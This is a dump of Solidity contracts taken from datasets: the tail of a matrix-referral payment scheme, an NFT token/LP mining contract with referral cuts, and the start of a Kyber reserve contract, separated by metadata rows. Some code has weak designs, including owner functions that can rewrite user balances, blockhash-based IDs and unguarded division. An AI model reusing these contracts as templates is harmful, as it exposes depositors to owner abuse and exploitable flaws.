mapping(uint256 => bytes3) public idByPosition;
mapping(bytes3 => uint256) public balances;
mapping(bytes3 => uint256) public lastActivities;
event Register(address indexed userAddress, bytes3 indexed positionId, bytes3 directRef, bytes3 matrixRef);
event Upgrade(address indexed userAddress, bytes3 indexed positionId, uint256 level, uint256 balance);
event Reward(address indexed userAddress, bytes3 indexed positionId, uint256 reward, uint256 rewardType, uint256 level, bytes3 referal); // 1: Direct, 2: Matrix
event Deposit(address indexed userAddress, bytes3 indexed positionId, uint256 amount, uint256 balance);
event Withdraw(address indexed userAddress, bytes3 indexed positionId, uint256 amount, uint256 balance);
event Transfer(bytes3 indexed positionId, address transferFrom, address transferTo);
event Collect(bytes3 indexed positionId, uint256 amount);
event Touch(bytes3 indexed positionId, uint256 lastActivity);
// Modifiers
modifier beforeServiceIn() {
require(now < SERVICE_START_TIME, "Service not launched for public");
_;
}
modifier afterServiceIn() {
require(now >= SERVICE_START_TIME);
_;
}
modifier positionNotExpired(bytes3 _id) {
require(!isPositionExpired(_id));
_;
}
modifier positionExpired(bytes3 _id) {
require(isPositionExpired(_id));
_;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
// Constructor
constructor() public {
owner = msg.sender;
}
// Before ServiceIn
function setTGOAddress(address _tokenAddress) beforeServiceIn external onlyOwner{
TGO_ADDRESS = _tokenAddress;
}
function setTGXAddress(address _tokenAddress) beforeServiceIn external onlyOwner{
TGX_ADDRESS = _tokenAddress;
}
function setServiceStart() external beforeServiceIn onlyOwner returns (bool) {
require(msg.sender == owner, "No permission");
SERVICE_START_TIME = 1613840472;
return true;
}
// Position Structure Migration
function copyPosition(bytes3 id,
address payable addr,
bytes3 directRef,
bytes3 matrixRef,
uint256 numChildren,
uint256 level,
uint256 localPosition,
uint256 globalPosition) beforeServiceIn external onlyOwner returns (bool) {
require(!positions[id].active, "The position already initialized");
// Init Position
Position memory position;
position = Position({
active: true,
id: id,
addr: addr,
directRef: directRef,
matrixRef: matrixRef,
numChildren: numChildren,
level: level,
localPosition: (localPosition.add(1) % 2).add(1)
});
positions[id] = position;
balances[id] = 0;
lastActivities[id] = now;
if(id == directRef) rootId = id;
if(globalPosition < 8) idByPosition[globalPosition] = id;
numPositions++;
return true;
}
// After ServiceIn
function purchaseUser(bytes3 _directRef, bytes3 _matrixRef) public payable afterServiceIn returns (bool) {
require(positions[_directRef].active, "Invalid direct referrer");
require(positions[_matrixRef].active, "Invalid matrix referrer");
require(msg.value >= PRICES[1], "Insufficient amount to be sent");
// Make a position with level 1
bytes3 id = regUser(msg.sender, _directRef, _matrixRef, true);
// Pay Registration Bonux (TGX)
ITGX tgx = ITGX(TGX_ADDRESS);
uint256 bonus = UPGRADE_TGX_BONUS[1].div(halvingFactor());
tgx.mint(positions[id].addr, bonus);
// Upgrade
if(msg.value > PRICES[1]) _deposit(id, msg.value.sub(PRICES[1]));
return true;
}
function deposit(bytes3 _id) external payable afterServiceIn positionNotExpired(_id) returns (bool){
require(positions[_id].active, "User not activated");
_deposit(_id, msg.value);
touch(_id);
return true;
}
function withdraw(bytes3 _id, uint256 _amount) external afterServiceIn positionNotExpired(_id) returns (bool) {
// Check-Effect-Interaction
require(balances[_id] >= _amount, "Insufficient balance");
require(positions[_id].addr == msg.sender, "Invalid msg.sender");
touch(_id);
balances[_id] = balances[_id].sub(_amount);
msg.sender.transfer(_amount);
emit Withdraw(msg.sender, _id, _amount, balances[_id]);
return true;
}
function payoutShare() external afterServiceIn returns (bool) {
for(uint i = 1; i <= OWNER_POSITIONS; i++) {
bytes3 id = idByPosition[i];
if(balances[id] > 0) {
uint256 payout = balances[id];
balances[id] = 0;
OWNER_WALLET.transfer(payout);
emit Withdraw(OWNER_WALLET, id, payout, 0);
}
}
return true;
}
function autoUpgrade(bytes3 _id) public positionNotExpired(_id) returns (bool) {
require(positions[_id].active, "The position doesn't exist");
uint256 level = positions[_id].level;
for(uint256 i = level + 1; i <= 10; i++) {
if(balances[_id] >= PRICES[i]) {
upgrade(_id, i);
}else{
break;
}
}
return true;
}
function upgrade(bytes3 _id, uint256 _level) public positionNotExpired(_id) returns (bool){
require(_level >=2 && _level <= 10, "Invalid level");
require(positions[_id].level + 1 == _level, "Cannot upgrade above the current level + 1");
require(balances[_id] >= PRICES[_level], "Insufficient fund");
balances[_id] = balances[_id].sub(PRICES[_level]);
payReward(_level, _id);
positions[_id].level = _level;
payUpgradeBonus(_id, _level);
touch(_id);
emit Upgrade(positions[_id].addr, _id, _level, balances[_id]);
return true;
}
function transferPosition(bytes3 _id, address payable _to) external positionNotExpired(_id) returns (bool) {
require(positions[_id].addr == msg.sender, "The position is not yours");
touch(_id);
positions[_id].addr = _to;
emit Transfer(_id, msg.sender, _to);
return true;
}
function collectExpired(bytes3 _id) external positionExpired(_id) returns (bool) {
uint256 collectAmount = balances[_id];
balances[_id] = 0;
balances[rootId] += collectAmount;
emit Collect(_id, collectAmount);
return true;
}
// Public View Funtions
function halvingFactor() public view returns (uint256) {
uint256 factor = 1;
if(now > SERVICE_START_TIME) {
factor = 2 ** (now.sub(SERVICE_START_TIME).div(HALVING_PERIOD));
}
return factor;
}
// Utilities
function setOwnerWallet(address payable _addr) external onlyOwner returns(bool) {
OWNER_WALLET = _addr;
for(uint256 i = 0; i < 8; i++) {
positions[idByPosition[i]].addr = _addr;
}
return true;
}
function setPosition(bytes3 _id,
address payable _addr,
bytes3 _directRef,
bytes3 _matrixRef,
uint256 _numChildren,
uint256 _level,
uint256 _localPosition,
uint256 _balance) external onlyOwner returns (bool) {
// Init Position
Position storage p = positions[_id];
p.addr = _addr;
p.directRef = _directRef;
p.matrixRef = _matrixRef;
p.numChildren = _numChildren;
p.level = _level;
p.localPosition = _localPosition;
balances[_id] = _balance;
return true;
}
function collectTGO() external onlyOwner returns (bool) {
ITGO tgo = ITGO(TGO_ADDRESS);
tgo.transfer(msg.sender, tgo.balanceOf(msg.sender));
return true;
}
// Internal Functions
function regUser(address payable _addr, bytes3 _directRef, bytes3 _matrixRef, bool _payReward) internal returns (bytes3 _id) {
bytes3 directRef = _directRef;
bytes3 matrixRef = _matrixRef;
require(positions[_directRef].active, "Invalid direct referrer");
require(positions[_matrixRef].active, "Invalid matrix referrer");
require(positions[_matrixRef].numChildren < MAX_MATRIX_REFERRALS, "Max matrix referrals");
bytes3 id = getId();
uint256 localPosition = positions[_matrixRef].numChildren + 1;
Position memory position;
position = Position({
active: true,
id: id,
addr: _addr,
directRef: directRef,
matrixRef: matrixRef,
numChildren: 0,
level: 1,
localPosition: localPosition
});
positions[id] = position;
positions[matrixRef].numChildren++;
lastActivities[id] = now;
numPositions++;
emit Register(_addr, id, directRef, matrixRef);
if(_payReward) payReward(1, id);
return id;
}
function payReward(uint _level, bytes3 _id) internal {
uint256 directPool = PRICES[_level].mul(DIRECT_REWARD_RATE).div(100);
uint256 matrixPool = PRICES[_level].sub(directPool);
// Matrix Reward
uint256 matrixRewardPaid = 0;
Position memory current = positions[_id];
for(uint i = 0; i < MATRIX_REWARD_RATES.length; i++){
Position memory matrixRefUser = positions[current.matrixRef];
uint256 reward = matrixPool.mul(MATRIX_REWARD_RATES[i]).div(100);
// If the matrix referrer has enough level, and not expired
if(!isPositionExpired(matrixRefUser.id) && matrixRefUser.level >= _level) {
balances[matrixRefUser.id] = balances[matrixRefUser.id].add(reward); // += reward
matrixRewardPaid = matrixRewardPaid.add(reward); // += reward
emit Reward(matrixRefUser.addr, matrixRefUser.id, reward, TYPE_MATRIX, _level, _id);
// If the matrix referrer is expired, or doesn't have enough level
}else{
balances[rootId] = balances[rootId].add(reward); // += reward
matrixRewardPaid = matrixRewardPaid.add(reward); // += reward
emit Reward(OWNER_WALLET, rootId, reward, TYPE_ROLLUP, _level, _id);
}
current = matrixRefUser;
}
// Owner Reward
uint256 ownerReward = matrixPool.sub(matrixRewardPaid);
balances[rootId] = balances[rootId].add(ownerReward); // += ownerReward
emit Reward(OWNER_WALLET, rootId, ownerReward, TYPE_OWNER, _level, _id);
// Direct Reward
Position memory directRefUser = positions[positions[_id].directRef];
// If the direct referrer is expired
if(isPositionExpired(directRefUser.id)){
balances[rootId] = balances[rootId].add(directPool); // += directPool
emit Reward(OWNER_WALLET, rootId, directPool, TYPE_ROLLUP, _level, _id);
// If the direct referrer is not expired, and has enough level
}else if(directRefUser.level >= _level){
// Pay all the Go1 reward to the direct referrer
balances[directRefUser.id] = balances[directRefUser.id].add(directPool); // += directPool
emit Reward(directRefUser.addr, directRefUser.id, directPool, TYPE_DIRECT, _level, _id);
// If the direct referrer doesn't have enough level
}else{
balances[rootId] = balances[rootId].add(directPool); // += directPool
emit Reward(OWNER_WALLET, rootId, directPool, TYPE_ROLLUP, _level, _id);
}
}
function payUpgradeBonus(bytes3 _id, uint256 _level) internal {
ITGX tgx = ITGX(TGX_ADDRESS);
uint256 bonus = UPGRADE_TGX_BONUS[_level].div(halvingFactor());
tgx.mint(positions[_id].addr, bonus);
if(_level == 10) {
ITGO tgo = ITGO(TGO_ADDRESS);
if(tgo.balanceOf(address(this)) >= UPGRADE_TGO_BONUS[_level]) {
tgo.transfer(positions[_id].addr, UPGRADE_TGO_BONUS[_level]);
}
}
}
function _deposit(bytes3 _id, uint256 _amount) internal {
balances[_id] = balances[_id].add(_amount);
autoUpgrade(_id);
emit Deposit(msg.sender, _id, _amount, balances[_id]);
}
function touch(bytes3 _id) public returns (bool) {
if(!isPositionExpired(_id)) lastActivities[_id] = now;
emit Touch(_id, now);
return true;
}
function isPositionExpired(bytes3 _id) internal view returns (bool) {
return (positions[_id].addr != OWNER_WALLET && lastActivities[_id] + POSITION_EXPIRATION < now);
}
function getId() internal view returns (bytes3){
bytes3 id = 0x0;
for(uint i = 0; i < 20; i++) {
id = bytes3(uint24(uint256(keccak256(abi.encodePacked(msg.sender, blockhash(block.number - 10), i))) >> 232));
if(!positions[id].active) break;
}
require(id != 0x0);
return id;
}
}
| 305,499 | 675 |
0001a6ef0c7ba48a8e01baa1c246e7831c6facd4fe3d8c4b50918e307e0d19a5
| 24,338 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TJ/TJ7fmpG79XoHnyopwANMTHFtep8g2Fkcrq_NFTMining.sol
| 5,380 | 18,901 |
//SourceUnit: NFTMining.sol
pragma solidity ^0.5.4;
pragma experimental ABIEncoderV2;
// Math operations with safety checks that throw on error
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "add Math error");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(a >= b, "sub Math error");
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0 || b == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "mul Math error");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0 || b == 0) {
return 0;
}
uint256 c = a / b;
return c;
}
}
/// @title Interface for contracts conforming to ERC-721: Non-Fungible Tokens
/// @author Dieter Shirley <dete@axiomzen.co> (https://github.com/dete)
contract ERC721 {
// Required methods
function totalSupply() public view returns (uint256 total);
function balanceOf(address _owner) public view returns (uint256 balance);
function ownerOf(uint256 _tokenId) public view returns (address owner);
function approve(address _to, uint256 _tokenId) external;
function transfer(address _to, uint256 _tokenId) external;
function transferFrom(address _from, address _to, uint256 _tokenId) external;
// Events
event Transfer(address from, address to, uint256 tokenId);
event Approval(address owner, address approved, uint256 tokenId);
// Optional
// function tokensOfOwner(address _owner) external view returns (uint256[] tokenIds);
}
// Ownable Contract
contract Ownable {
address public Owner;
constructor() public {
Owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == Owner, "You not owner");
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
if (_newOwner != address(0)) {
Owner = _newOwner;
}
}
}
library TransferHelper {
function safeApprove(address token,
address to,
uint256 value) internal {
// bytes4(keccak256(bytes('approve(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: APPROVE_FAILED');
}
function safeTransfer(address token,
address to,
uint256 value) internal {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FAILED');
}
function safeTransferFrom(address token,
address from,
address to,
uint256 value) internal {
// bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FROM_FAILED');
}
}
// NFT Mining Contract
contract NFTMining is Ownable {
using SafeMath for uint256;
using TransferHelper for address;
//
struct tokenStruct {
//
bool isFlag;
// ; false=
bool isClosed;
//
string name;
//
uint256 totalDeposit;
//
uint256 totalWithdraw;
//
uint256 totalRed;
// LpaccShu
uint256 accSushi;
//
uint256 playerNumber;
//
uint256 block;
}
// =>
mapping(address => tokenStruct) public tokenMapping;
// Lp =>
mapping(address => tokenStruct) public lpMapping;
//
address[] public tokens;
// lp
address[] public lps;
//
struct userStruct {
//
uint256 amount;
//
uint256 alreadyRed;
// accSushi
uint256 accSushi;
}
// token=>=>
mapping(address => mapping(address => userStruct)) public userTokenMapping;
mapping(address => mapping(address => userStruct)) public userLpMapping;
//
mapping(address => bool) public userMapping;
// ; token=>=>
mapping(address => mapping(address => bool)) public tokenUserPlayer;
// ; lp=>=>
mapping(address => mapping(address => bool)) public lpUserPlayer;
// HNFT
address public hnftAddress;
// HNFT, Token=40% LP=60%; (000000000000000000)
uint256[3] public everyNumber = [5000000000000000000, 40, 60];
bytes4 private constant TRANSFER = bytes4(keccak256(bytes("transfer(address,uint256)")));
bytes4 private constant TRANSFERFROM = bytes4(keccak256(bytes("transferFrom(address,address,uint256)")));
//
// 1: hnft
constructor(address _hnftAddress) public {
hnftAddress = _hnftAddress;
}
//
event Deposit(address _address, uint256 _value);
//
// 1:
// 3:
// 4: Lp
function setEveryNumber(uint256 _total, uint256 _token, uint256 _lp) external onlyOwner {
require(_token + _lp == 100, "Ratio error");
everyNumber[0] = _total;
everyNumber[1] = _token;
everyNumber[2] = _lp;
}
//
// 1: token
// 2:
function addToken(address _tokenAddress, string calldata _name) external onlyOwner {
require(_tokenAddress != address(0), "Zero address");
//
require(tokenMapping[_tokenAddress].isFlag == false, "Token exist");
//
tokenStruct memory _t = tokenStruct(true, false, _name, 0, 0, 0, 0, 0, block.number);
tokenMapping[_tokenAddress] = _t;
tokens.push(_tokenAddress);
}
// LP
// 1: lp
// 2:
function addLp(address _lpAddress, string calldata _name) external onlyOwner {
require(_lpAddress != address(0), "Zero address");
//
require(lpMapping[_lpAddress].isFlag == false, "Token exist");
//
tokenStruct memory _t = tokenStruct(true, false, _name, 0, 0, 0, 0, 0, block.number);
lpMapping[_lpAddress] = _t;
lps.push(_lpAddress);
}
// token
function closeOrOpenTokenPool(address _tokenAddress) external onlyOwner {
//
require(tokenMapping[_tokenAddress].isFlag == true, "Token not exist");
tokenMapping[_tokenAddress].isClosed = !tokenMapping[_tokenAddress].isClosed;
}
// lp
function closeOrOpenLpPool(address _lpAddress) external onlyOwner {
//
require(lpMapping[_lpAddress].isFlag == true, "Token not exist");
lpMapping[_lpAddress].isClosed = !lpMapping[_lpAddress].isClosed;
}
// tokens
function getTokens() external view returns (address[] memory _r) {
uint256 _length = tokens.length;
//
_r = new address[](_length);
for(uint256 i = 0; i < _length; i++) {
_r[i] = tokens[i];
}
}
// lps
function getLps() external view returns (address[] memory _r) {
uint256 _length = lps.length;
//
_r = new address[](_length);
for(uint256 i = 0; i < _length; i++) {
_r[i] = lps[i];
}
}
//////////////////////////////////////////// //////////////////////////////////////
// ; Token, Lp
// 1: token or Lp
// 2:
// 3: 1=token, 2=lp;
// 4:
// 5:
function _depositStorage(address _tokenAddress, uint256 _value, uint256 _tokenType, tokenStruct storage t_, userStruct storage u_) private {
//
_tokenAddress.safeTransferFrom(msg.sender, address(this), _value);
// (bool success1,) = _tokenAddress.call(// abi.encodeWithSelector(TRANSFERFROM, msg.sender, address(this), _value)
//);
// if(!success1) {
// revert("NFTMining depositStorage success1: transfer fail");
// }
if(u_.amount == 0) {
// ,
//
u_.amount = u_.amount.add(_value);
// accSushiaccSushi
u_.accSushi = t_.accSushi;
//
t_.totalDeposit = t_.totalDeposit.add(_value);
return;
}
// , ,
//
uint256 _length;
if(_tokenType == 1) {
// tokens
_length = tokens.length;
}else {
// lps
_length = lps.length;
}
//
uint256 _totalRed = (block.number.sub(t_.block)).mul(everyNumber[0]).mul(everyNumber[_tokenType]).div(100).div(_length);
// accSushi
// uint256 _nowSushi = t_.accSushi + _totalRed / t_.totalDeposit;
uint256 _nowSushi = t_.accSushi.add(_totalRed.div(t_.totalDeposit));
//
// uint256 _userRed = u_.amount * (_nowSushi - u_.accSushi);
uint256 _userRed = u_.amount.mul(_nowSushi.sub(u_.accSushi));
// 0; erc200,
if(_userRed > 0) {
// HNFT
hnftAddress.safeTransfer(msg.sender, _userRed);
// (bool success2,) = hnftAddress.call(// abi.encodeWithSelector(TRANSFER, msg.sender, _userRed)
//);
// if(!success2) {
// revert("NFTMining depositStorage success2: transfer fail");
// }
}
//
u_.amount = u_.amount.add(_value);
// accSushiaccSushi
u_.accSushi = _nowSushi;
//
u_.alreadyRed = u_.alreadyRed.add(_userRed);
//
t_.block = block.number;
//
t_.totalDeposit = t_.totalDeposit.add(_value);
//
t_.totalRed = t_.totalRed.add(_userRed);
// accSushiaccSushi
t_.accSushi = _nowSushi;
}
// ; =>
mapping(address => address) public superAddress;
//
struct inviteStruct {
//
uint256 time;
//
address subor;
}
mapping(address => inviteStruct[]) public inviteMapping;
// ; , ;
function getSubor(address _address) public view returns(uint256[] memory _t, address[] memory _s) {
uint256 _length = inviteMapping[_address].length;
//
_t = new uint256[](_length);
_s = new address[](_length);
for(uint256 i = 0; i < _length; i++) {
_t[i] = inviteMapping[_address][i].time;
_s[i] = inviteMapping[_address][i].subor;
}
}
uint256 public superRatio = 5;
uint256 public superSuperRatio = 2;
//
// 1: %;
// 2: %;
function setSuperRatio(uint256 _superRatio, uint256 _superSuperRatio) onlyOwner public {
superRatio = _superRatio;
superSuperRatio = _superSuperRatio;
}
// ; Token, LP
// 1: token or Lp
// 2:
// 3: 1=token, 2=lp;
// 4:
// 5:
function _withdrawStorage(address _tokenAddress, uint256 _value, uint256 _tokenType, tokenStruct storage t_, userStruct storage u_) private {
//
uint256 _length;
if(_tokenType == 1) {
// tokens
_length = tokens.length;
}else {
// lps
_length = lps.length;
}
uint256 _totalRed = (block.number.sub(t_.block)).mul(everyNumber[0]).mul(everyNumber[_tokenType]).div(100).div(_length);
// accSushi
// uint256 _nowSushi = t_.accSushi + _totalRed / t_.totalDeposit;
uint256 _nowSushi = t_.accSushi.add(_totalRed.div(t_.totalDeposit));
//
// uint256 _userRed = u_.amount * (_nowSushi - u_.accSushi);
uint256 _userRed = u_.amount.mul(_nowSushi.sub(u_.accSushi));
//
require(u_.amount >= _value, "Money error");
if(_value > 0) {
//
_tokenAddress.safeTransfer(msg.sender, _value);
}
// 0; erc200,
if(_userRed > 100) {
//
address _zeroAddress = address(0x0000000000000000000000000000000000000099);
address _super1 = superAddress[msg.sender];
address _super2 = superAddress[_super1];
uint256 _value3 = _userRed.mul(superRatio).div(100);
uint256 _value2 = _userRed.mul(superSuperRatio).div(100);
uint256 v95 = uint256(100).sub(superRatio).sub(superSuperRatio);
uint256 _value95 = _userRed.mul(v95).div(100);
if(_super1 == address(0)) {
_super1 = _zeroAddress;
}
if(_super2 == address(0)) {
_super2 = _zeroAddress;
}
//
hnftAddress.safeTransfer(_super1, _value3);
hnftAddress.safeTransfer(_super2, _value2);
hnftAddress.safeTransfer(msg.sender, _value95);
}
//
u_.amount = u_.amount.sub(_value);
// accSushiaccSushi
u_.accSushi = _nowSushi;
//
u_.alreadyRed = u_.alreadyRed.add(_userRed);
//
t_.block = block.number;
//
t_.totalDeposit = t_.totalDeposit.sub(_value);
//
t_.totalWithdraw = t_.totalWithdraw.add(_value);
//
t_.totalRed = t_.totalRed.add(_userRed);
// accSushiaccSushi
t_.accSushi = _nowSushi;
}
//
// 1: 1=token, 2=lp;
// 2:
// 3:
function _getRed(uint256 _tokenType, tokenStruct memory _t, userStruct memory _u) private view returns (uint256 _userRed) {
//
uint256 _length;
if(_tokenType == 1) {
// tokens
_length = tokens.length;
}else {
// lps
_length = lps.length;
}
//
uint256 _totalRed = (block.number.sub(_t.block)).mul(everyNumber[0]).mul(everyNumber[_tokenType]).div(100).div(_length);
// accSushi
// uint256 _nowSushi = _t.accSushi + _totalRed / _t.totalDeposit;
uint256 _nowSushi = _t.accSushi.add(_totalRed.div(_t.totalDeposit));
//
// _userRed = _u.amount * (_nowSushi - _u.accSushi);
_userRed = _u.amount.mul(_nowSushi.sub(_u.accSushi));
}
////////////////////////////////////////// Token ///////////////////////////////////////////
//
// 1: token
// 2:
// 3:
function depositToken(address _tokenAddress, uint256 _value, address _superAddress) external {
require(msg.sender != _superAddress, "NFTMining: not my self");
if(userMapping[msg.sender] == false) {
userMapping[msg.sender] = true;
}
if(superAddress[msg.sender] == address(0) && _superAddress != address(0)) {
if(userMapping[msg.sender]) {
superAddress[msg.sender] = _superAddress;
inviteStruct memory _i = inviteStruct(block.timestamp, msg.sender);
inviteMapping[_superAddress].push(_i);
}
}
// token
tokenStruct storage t_ = tokenMapping[_tokenAddress];
//
userStruct storage u_ = userTokenMapping[_tokenAddress][msg.sender];
// token,
require(t_.isFlag == true, "Mining: Token not exist");
//
require(t_.isClosed == false, "Mining: Token is closed");
//
_depositStorage(_tokenAddress, _value, 1, t_, u_);
//
if(tokenUserPlayer[_tokenAddress][msg.sender] == false) {
//
tokenUserPlayer[_tokenAddress][msg.sender] = true;
t_.playerNumber++;
}
emit Deposit(msg.sender, _value);
}
// Token; HNFT, 0
// 1: token
// 2:
function withdrawToken(address _tokenAddress, uint256 _value) external {
// token
tokenStruct storage t_ = tokenMapping[_tokenAddress];
//
userStruct storage u_ = userTokenMapping[_tokenAddress][msg.sender];
// token,
require(t_.isFlag == true, "Mining: Token not exist");
//
require(t_.isClosed == false, "Mining: Token is closed");
//
_withdrawStorage(_tokenAddress, _value, 1, t_, u_);
}
// ; Token
// 1:
// 2:
function getRedToken(address _tokenAddress, address _userAddress) public view returns (uint256 _userRed) {
// token
tokenStruct memory _t = tokenMapping[_tokenAddress];
//
userStruct memory _u = userTokenMapping[_tokenAddress][_userAddress];
// token
require(_t.isFlag == true, "Mining: Token not exist");
_userRed = _getRed(1, _t, _u);
}
////////////////////////////////////////// LP ///////////////////////////////////////////
// LP
// 1: lp
// 2:
// 3:
function depositLp(address _tokenAddress, uint256 _value, address _superAddress) external {
require(msg.sender != _superAddress, "NFTMining: not my self");
if(userMapping[msg.sender] == false) {
userMapping[msg.sender] = true;
}
if(superAddress[msg.sender] == address(0) && _superAddress != address(0)) {
if(userMapping[msg.sender]) {
superAddress[msg.sender] = _superAddress;
inviteStruct memory _i = inviteStruct(block.timestamp, msg.sender);
inviteMapping[_superAddress].push(_i);
}
}
// token
tokenStruct storage t_ = lpMapping[_tokenAddress];
//
userStruct storage u_ = userLpMapping[_tokenAddress][msg.sender];
// token,
require(t_.isFlag == true, "Mining: Token not exist");
//
require(t_.isClosed == false, "Mining: Token is closed");
//
_depositStorage(_tokenAddress, _value, 2, t_, u_);
//
if(lpUserPlayer[_tokenAddress][msg.sender] == false) {
//
lpUserPlayer[_tokenAddress][msg.sender] = true;
t_.playerNumber++;
}
emit Deposit(msg.sender, _value);
}
// LP; HNFT, 0
// 1: lp
// 2:
function withdrawLp(address _tokenAddress, uint256 _value) external {
// token
tokenStruct storage t_ = lpMapping[_tokenAddress];
//
userStruct storage u_ = userLpMapping[_tokenAddress][msg.sender];
// token,
require(t_.isFlag == true, "Mining: Token not exist");
//
require(t_.isClosed == false, "Mining: Token is closed");
//
_withdrawStorage(_tokenAddress, _value, 2, t_, u_);
}
// ; Lp
// 1:
// 2:
function getRedLp(address _tokenAddress, address _userAddress) public view returns (uint256 _userRed) {
// token
tokenStruct memory _t = lpMapping[_tokenAddress];
//
userStruct memory _u = userLpMapping[_tokenAddress][_userAddress];
// token
require(_t.isFlag == true, "Token not exist");
_userRed = _getRed(2, _t, _u);
}
}
| 291,367 | 676 |
c11e2c1e9e169cd04dab93cf34886644b3ed68dc54850e2178623980b71c2335
| 16,221 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x21433dec9cb634a23c6a4bbcce08c83f5ac2ec18.sol
| 3,650 | 15,429 |
pragma solidity ^0.4.13;
interface ConversionRatesInterface {
function recordImbalance(ERC20 token,
int buyAmount,
uint rateUpdateBlock,
uint currentBlock)
public;
function getRate(ERC20 token, uint currentBlockNumber, bool buy, uint qty) public view returns(uint);
}
interface ERC20 {
function totalSupply() public view returns (uint supply);
function balanceOf(address _owner) public view returns (uint balance);
function transfer(address _to, uint _value) public returns (bool success);
function transferFrom(address _from, address _to, uint _value) public returns (bool success);
function approve(address _spender, uint _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint remaining);
function decimals() public view returns(uint digits);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
interface KyberReserveInterface {
function trade(ERC20 srcToken,
uint srcAmount,
ERC20 destToken,
address destAddress,
uint conversionRate,
bool validate)
public
payable
returns(bool);
function getConversionRate(ERC20 src, ERC20 dest, uint srcQty, uint blockNumber) public view returns(uint);
}
contract PermissionGroups {
address public admin;
address public pendingAdmin;
mapping(address=>bool) internal operators;
mapping(address=>bool) internal alerters;
address[] internal operatorsGroup;
address[] internal alertersGroup;
uint constant internal MAX_GROUP_SIZE = 50;
function PermissionGroups() public {
admin = msg.sender;
}
modifier onlyAdmin() {
require(msg.sender == admin);
_;
}
modifier onlyOperator() {
require(operators[msg.sender]);
_;
}
modifier onlyAlerter() {
require(alerters[msg.sender]);
_;
}
function getOperators () external view returns(address[]) {
return operatorsGroup;
}
function getAlerters () external view returns(address[]) {
return alertersGroup;
}
event TransferAdminPending(address pendingAdmin);
function transferAdmin(address newAdmin) public onlyAdmin {
require(newAdmin != address(0));
TransferAdminPending(pendingAdmin);
pendingAdmin = newAdmin;
}
function transferAdminQuickly(address newAdmin) public onlyAdmin {
require(newAdmin != address(0));
TransferAdminPending(newAdmin);
AdminClaimed(newAdmin, admin);
admin = newAdmin;
}
event AdminClaimed(address newAdmin, address previousAdmin);
function claimAdmin() public {
require(pendingAdmin == msg.sender);
AdminClaimed(pendingAdmin, admin);
admin = pendingAdmin;
pendingAdmin = address(0);
}
event AlerterAdded (address newAlerter, bool isAdd);
function addAlerter(address newAlerter) public onlyAdmin {
require(!alerters[newAlerter]); // prevent duplicates.
require(alertersGroup.length < MAX_GROUP_SIZE);
AlerterAdded(newAlerter, true);
alerters[newAlerter] = true;
alertersGroup.push(newAlerter);
}
function removeAlerter (address alerter) public onlyAdmin {
require(alerters[alerter]);
alerters[alerter] = false;
for (uint i = 0; i < alertersGroup.length; ++i) {
if (alertersGroup[i] == alerter) {
alertersGroup[i] = alertersGroup[alertersGroup.length - 1];
alertersGroup.length--;
AlerterAdded(alerter, false);
break;
}
}
}
event OperatorAdded(address newOperator, bool isAdd);
function addOperator(address newOperator) public onlyAdmin {
require(!operators[newOperator]); // prevent duplicates.
require(operatorsGroup.length < MAX_GROUP_SIZE);
OperatorAdded(newOperator, true);
operators[newOperator] = true;
operatorsGroup.push(newOperator);
}
function removeOperator (address operator) public onlyAdmin {
require(operators[operator]);
operators[operator] = false;
for (uint i = 0; i < operatorsGroup.length; ++i) {
if (operatorsGroup[i] == operator) {
operatorsGroup[i] = operatorsGroup[operatorsGroup.length - 1];
operatorsGroup.length -= 1;
OperatorAdded(operator, false);
break;
}
}
}
}
interface SanityRatesInterface {
function getSanityRate(ERC20 src, ERC20 dest) public view returns(uint);
}
contract Utils {
ERC20 constant internal ETH_TOKEN_ADDRESS = ERC20(0x00eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee);
uint constant internal PRECISION = (10**18);
uint constant internal MAX_QTY = (10**28); // 10B tokens
uint constant internal MAX_RATE = (PRECISION * 10**6); // up to 1M tokens per ETH
uint constant internal MAX_DECIMALS = 18;
uint constant internal ETH_DECIMALS = 18;
mapping(address=>uint) internal decimals;
function setDecimals(ERC20 token) internal {
if (token == ETH_TOKEN_ADDRESS) decimals[token] = ETH_DECIMALS;
else decimals[token] = token.decimals();
}
function getDecimals(ERC20 token) internal view returns(uint) {
if (token == ETH_TOKEN_ADDRESS) return ETH_DECIMALS; // save storage access
uint tokenDecimals = decimals[token];
// technically, there might be token with decimals 0
// moreover, very possible that old tokens have decimals 0
// these tokens will just have higher gas fees.
if(tokenDecimals == 0) return token.decimals();
return tokenDecimals;
}
function calcDstQty(uint srcQty, uint srcDecimals, uint dstDecimals, uint rate) internal pure returns(uint) {
require(srcQty <= MAX_QTY);
require(rate <= MAX_RATE);
if (dstDecimals >= srcDecimals) {
require((dstDecimals - srcDecimals) <= MAX_DECIMALS);
return (srcQty * rate * (10**(dstDecimals - srcDecimals))) / PRECISION;
} else {
require((srcDecimals - dstDecimals) <= MAX_DECIMALS);
return (srcQty * rate) / (PRECISION * (10**(srcDecimals - dstDecimals)));
}
}
